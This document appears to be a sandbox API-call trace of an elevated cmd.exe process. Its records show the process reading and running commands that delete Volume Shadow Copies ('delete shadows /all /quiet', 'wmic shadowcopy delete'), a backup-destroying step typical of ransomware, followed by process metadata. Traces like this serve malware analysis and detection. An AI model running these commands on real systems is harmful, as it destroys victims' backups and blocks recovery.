	[0086.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c42, cchWideChar=1 | out: lpWideCharStr="oelete shadows /all /quiet\n") returned 1
	[0086.575] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.575] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.575] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c44, cchWideChar=1 | out: lpWideCharStr="wlete shadows /all /quiet\n") returned 1
	[0086.575] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.575] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.575] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c46, cchWideChar=1 | out: lpWideCharStr="cete shadows /all /quiet\n") returned 1
	[0086.575] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.575] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.575] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c48, cchWideChar=1 | out: lpWideCharStr="ote shadows /all /quiet\n") returned 1
	[0086.576] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.576] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.576] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c4a, cchWideChar=1 | out: lpWideCharStr="pe shadows /all /quiet\n") returned 1
	[0086.576] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.576] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.576] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c4c, cchWideChar=1 | out: lpWideCharStr="y shadows /all /quiet\n") returned 1
	[0086.576] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.576] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.576] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c4e, cchWideChar=1 | out: lpWideCharStr=" shadows /all /quiet\n") returned 1
	[0086.576] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.576] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.576] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c50, cchWideChar=1 | out: lpWideCharStr="dhadows /all /quiet\n") returned 1
	[0086.576] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.576] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.576] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c52, cchWideChar=1 | out: lpWideCharStr="eadows /all /quiet\n") returned 1
	[0086.576] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.576] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.576] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c54, cchWideChar=1 | out: lpWideCharStr="ldows /all /quiet\n") returned 1
	[0086.576] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.577] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.577] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c56, cchWideChar=1 | out: lpWideCharStr="eows /all /quiet\n") returned 1
	[0086.577] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.577] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.577] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c58, cchWideChar=1 | out: lpWideCharStr="tws /all /quiet\n") returned 1
	[0086.577] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.577] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.577] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c5a, cchWideChar=1 | out: lpWideCharStr="es /all /quiet\n") returned 1
	[0086.577] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.577] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.577] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0086.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c5c, cchWideChar=1 | out: lpWideCharStr="\n /all /quiet\n") returned 1
	[0086.577] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.577] GetFileType (hFile=0x27c) returned 0x3
	[0086.577] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0086.577] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.577] _get_osfhandle (_FileHandle=1) returned 0x288
	[0086.577] GetFileType (hFile=0x288) returned 0x3
	[0086.577] _get_osfhandle (_FileHandle=1) returned 0x288
	[0086.577] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wmic shadowcopy delete\n", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmic shadowcopy delete\n", lpUsedDefaultChar=0x0) returned 24
	[0086.577] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0xe8be8ffb68, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0xe8be8ffb68*=0x17, lpOverlapped=0x0) returned 1
	[0086.577] GetProcessHeap () returned 0x256c8cc0000
	[0086.578] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x4012) returned 0x256c8cc8fe0
	[0086.578] GetProcessHeap () returned 0x256c8cc0000
	[0086.578] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc8fe0) returned 1
	[0086.578] _wcsicmp (_String1="wmic", _String2=")") returned 78
	[0086.579] _wcsicmp (_String1="FOR", _String2="wmic") returned -17
	[0086.579] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17
	[0086.579] _wcsicmp (_String1="IF", _String2="wmic") returned -14
	[0086.579] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14
	[0086.579] _wcsicmp (_String1="REM", _String2="wmic") returned -5
	[0086.579] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5
	[0086.579] GetProcessHeap () returned 0x256c8cc0000
	[0086.579] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xb0) returned 0x256c8cc8320
	[0086.579] GetProcessHeap () returned 0x256c8cc0000
	[0086.579] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x1a) returned 0x256c8cc6a80
	[0086.579] GetProcessHeap () returned 0x256c8cc0000
	[0086.579] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x36) returned 0x256c8cc83e0
	[0086.580] GetConsoleOutputCP () returned 0x1b5
	[0086.586] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7acb5fbb0 | out: lpCPInfo=0x7ff7acb5fbb0) returned 1
	[0086.586] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0086.588] GetConsoleTitleW (in: lpConsoleTitle=0xe8be8ff9b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0086.593] malloc (_Size=0xffce) returned 0x256c8de0840
	[0086.593] ??_V@YAXPEAX@Z () returned 0x256c8de0840
	[0086.593] malloc (_Size=0xffce) returned 0x256c8df0820
	[0086.593] ??_V@YAXPEAX@Z () returned 0x256c8df0820
	[0086.593] _wcsicmp (_String1="wmic", _String2="DIR") returned 19
	[0086.593] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18
	[0086.593] _wcsicmp (_String1="wmic", _String2="DEL") returned 19
	[0086.593] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3
	[0086.593] _wcsicmp (_String1="wmic", _String2="COPY") returned 20
	[0086.593] _wcsicmp (_String1="wmic", _String2="CD") returned 20
	[0086.593] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20
	[0086.593] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5
	[0086.593] _wcsicmp (_String1="wmic", _String2="REN") returned 5
	[0086.593] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18
	[0086.593] _wcsicmp (_String1="wmic", _String2="SET") returned 4
	[0086.593] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7
	[0086.593] _wcsicmp (_String1="wmic", _String2="DATE") returned 19
	[0086.593] _wcsicmp (_String1="wmic", _String2="TIME") returned 3
	[0086.593] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7
	[0086.593] _wcsicmp (_String1="wmic", _String2="MD") returned 10
	[0086.593] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10
	[0086.593] _wcsicmp (_String1="wmic", _String2="RD") returned 5
	[0086.593] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5
	[0086.593] _wcsicmp (_String1="wmic", _String2="PATH") returned 7
	[0086.593] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16
	[0086.593] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4
	[0086.593] _wcsicmp (_String1="wmic", _String2="CLS") returned 20
	[0086.593] _wcsicmp (_String1="wmic", _String2="CALL") returned 20
	[0086.593] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1
	[0086.593] _wcsicmp (_String1="wmic", _String2="VER") returned 1
	[0086.593] _wcsicmp (_String1="wmic", _String2="VOL") returned 1
	[0086.593] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18
	[0086.593] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4
	[0086.593] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18
	[0086.593] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3
	[0086.594] _wcsicmp (_String1="wmic", _String2="START") returned 4
	[0086.594] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19
	[0086.594] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12
	[0086.594] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10
	[0086.594] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7
	[0086.594] _wcsicmp (_String1="wmic", _String2="POPD") returned 7
	[0086.594] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22
	[0086.594] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17
	[0086.594] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21
	[0086.594] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20
	[0086.594] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10
	[0086.594] _wcsicmp (_String1="wmic", _String2="DIR") returned 19
	[0086.594] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18
	[0086.594] _wcsicmp (_String1="wmic", _String2="DEL") returned 19
	[0086.594] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3
	[0086.594] _wcsicmp (_String1="wmic", _String2="COPY") returned 20
	[0086.594] _wcsicmp (_String1="wmic", _String2="CD") returned 20
	[0086.594] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20
	[0086.594] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5
	[0086.594] _wcsicmp (_String1="wmic", _String2="REN") returned 5
	[0086.594] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18
	[0086.594] _wcsicmp (_String1="wmic", _String2="SET") returned 4
	[0086.594] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7
	[0086.594] _wcsicmp (_String1="wmic", _String2="DATE") returned 19
	[0086.594] _wcsicmp (_String1="wmic", _String2="TIME") returned 3
	[0086.594] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7
	[0086.594] _wcsicmp (_String1="wmic", _String2="MD") returned 10
	[0086.594] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10
	[0086.594] _wcsicmp (_String1="wmic", _String2="RD") returned 5
	[0086.594] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5
	[0086.594] _wcsicmp (_String1="wmic", _String2="PATH") returned 7
	[0086.594] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16
	[0086.594] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4
	[0086.594] _wcsicmp (_String1="wmic", _String2="CLS") returned 20
	[0086.594] _wcsicmp (_String1="wmic", _String2="CALL") returned 20
	[0086.594] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1
	[0086.594] _wcsicmp (_String1="wmic", _String2="VER") returned 1
	[0086.594] _wcsicmp (_String1="wmic", _String2="VOL") returned 1
	[0086.594] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18
	[0086.594] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4
	[0086.594] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18
	[0086.594] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3
	[0086.595] _wcsicmp (_String1="wmic", _String2="START") returned 4
	[0086.595] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19
	[0086.595] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12
	[0086.595] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10
	[0086.595] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7
	[0086.595] _wcsicmp (_String1="wmic", _String2="POPD") returned 7
	[0086.595] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22
	[0086.595] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17
	[0086.595] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21
	[0086.595] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20
	[0086.595] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10
	[0086.595] _wcsicmp (_String1="wmic", _String2="FOR") returned 17
	[0086.595] _wcsicmp (_String1="wmic", _String2="IF") returned 14
	[0086.595] _wcsicmp (_String1="wmic", _String2="REM") returned 5
	[0086.595] ??_V@YAXPEAX@Z () returned 0x1
	[0086.595] GetProcessHeap () returned 0x256c8cc0000
	[0086.595] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xffde) returned 0x256c8cc8fe0
	[0086.595] GetProcessHeap () returned 0x256c8cc0000
	[0086.595] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x40) returned 0x256c8cc1850
	[0086.595] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20
	[0086.595] malloc (_Size=0xffce) returned 0x256c8df0820
	[0086.595] ??_V@YAXPEAX@Z () returned 0x256c8df0820
	[0086.595] GetProcessHeap () returned 0x256c8cc0000
	[0086.595] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x1ffac) returned 0x256c8cdab30
	[0086.597] SetErrorMode (uMode=0x0) returned 0x0
	[0086.597] SetErrorMode (uMode=0x1) returned 0x0
	[0086.597] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x256c8cdab40, lpFilePart=0xe8be8ff230 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xe8be8ff230*="Desktop") returned 0x17
	[0086.597] SetErrorMode (uMode=0x0) returned 0x1
	[0086.597] GetProcessHeap () returned 0x256c8cc0000
	[0086.597] RtlReAllocateHeap (Heap=0x256c8cc0000, Flags=0x0, Ptr=0x256c8cdab30, Size=0x4a) returned 0x256c8cdab30
	[0086.597] GetProcessHeap () returned 0x256c8cc0000
	[0086.597] RtlSizeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, MemoryPointer=0x256c8cdab30) returned 0x4a
	[0086.597] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0086.597] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0086.597] GetProcessHeap () returned 0x256c8cc0000
	[0086.597] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x1bc) returned 0x256c8cc6d10
	[0086.597] GetProcessHeap () returned 0x256c8cc0000
	[0086.597] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x368) returned 0x256c8cd8fd0
	[0086.597] GetProcessHeap () returned 0x256c8cc0000
	[0086.597] RtlReAllocateHeap (Heap=0x256c8cc0000, Flags=0x0, Ptr=0x256c8cd8fd0, Size=0x1be) returned 0x256c8cd8fd0
	[0086.597] GetProcessHeap () returned 0x256c8cc0000
	[0086.597] RtlSizeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, MemoryPointer=0x256c8cd8fd0) returned 0x1be
	[0086.597] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0086.597] GetProcessHeap () returned 0x256c8cc0000
	[0086.598] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xe8) returned 0x256c8cd91a0
	[0086.598] GetProcessHeap () returned 0x256c8cc0000
	[0086.598] RtlReAllocateHeap (Heap=0x256c8cc0000, Flags=0x0, Ptr=0x256c8cd91a0, Size=0x7e) returned 0x256c8cd91a0
	[0086.598] GetProcessHeap () returned 0x256c8cc0000
	[0086.598] RtlSizeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, MemoryPointer=0x256c8cd91a0) returned 0x7e
	[0086.598] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0086.598] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xe8be8fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe8be8fefa0) returned 0xffffffffffffffff
	[0086.598] GetLastError () returned 0x2
	[0086.598] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0086.598] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xe8be8fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe8be8fefa0) returned 0xffffffffffffffff
	[0086.599] GetLastError () returned 0x2
	[0086.599] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0086.599] FindFirstFileExW (lpFileName="C:\\WINDOWS\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xe8be8fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2) 

Thread:
	id = 34
	os_tid = 0xfac


Process:
	id = "4"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x6dd51000"
	os_pid = "0xbec"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x39c"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 13
	os_tid = 0x2ac

	[0064.120] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7acb20000
	[0064.121] __set_app_type (_Type=0x1) 
	[0064.121] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7acb36d00) returned 0x0
	[0064.121] __getmainargs (in: _Argc=0x7ff7acb59200, _Argv=0x7ff7acb59208, _Env=0x7ff7acb59210, _DoWildCard=0, _StartInfo=0x7ff7acb5921c | out: _Argc=0x7ff7acb59200, _Argv=0x7ff7acb59208, _Env=0x7ff7acb59210) returned 0
	[0064.121] _onexit (_Func=0x7ff7acb37fd0) returned 0x7ff7acb37fd0
	[0064.122] _onexit (_Func=0x7ff7acb37fe0) returned 0x7ff7acb37fe0
	[0064.122] _onexit (_Func=0x7ff7acb37ff0) returned 0x7ff7acb37ff0
	[0064.122] _onexit (_Func=0x7ff7acb38000) returned 0x7ff7acb38000
	[0064.122] _onexit (_Func=0x7ff7acb38010) returned 0x7ff7acb38010
	[0064.123] _onexit (_Func=0x7ff7acb38020) returned 0x7ff7acb38020
	[0064.123] GetCurrentThreadId () returned 0x2ac
	[0064.123] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x2ac) returned 0x70
	[0064.123] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000
	[0064.123] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990
	[0064.123] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0064.245] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0064.245] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1310cff7c8 | out: phkResult=0x1310cff7c8*=0x0) returned 0x2
	[0064.245] VirtualQuery (in: lpAddress=0x1310cff7b4, lpBuffer=0x1310cff730, dwLength=0x30 | out: lpBuffer=0x1310cff730*(BaseAddress=0x1310cff000, AllocationBase=0x1310c00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
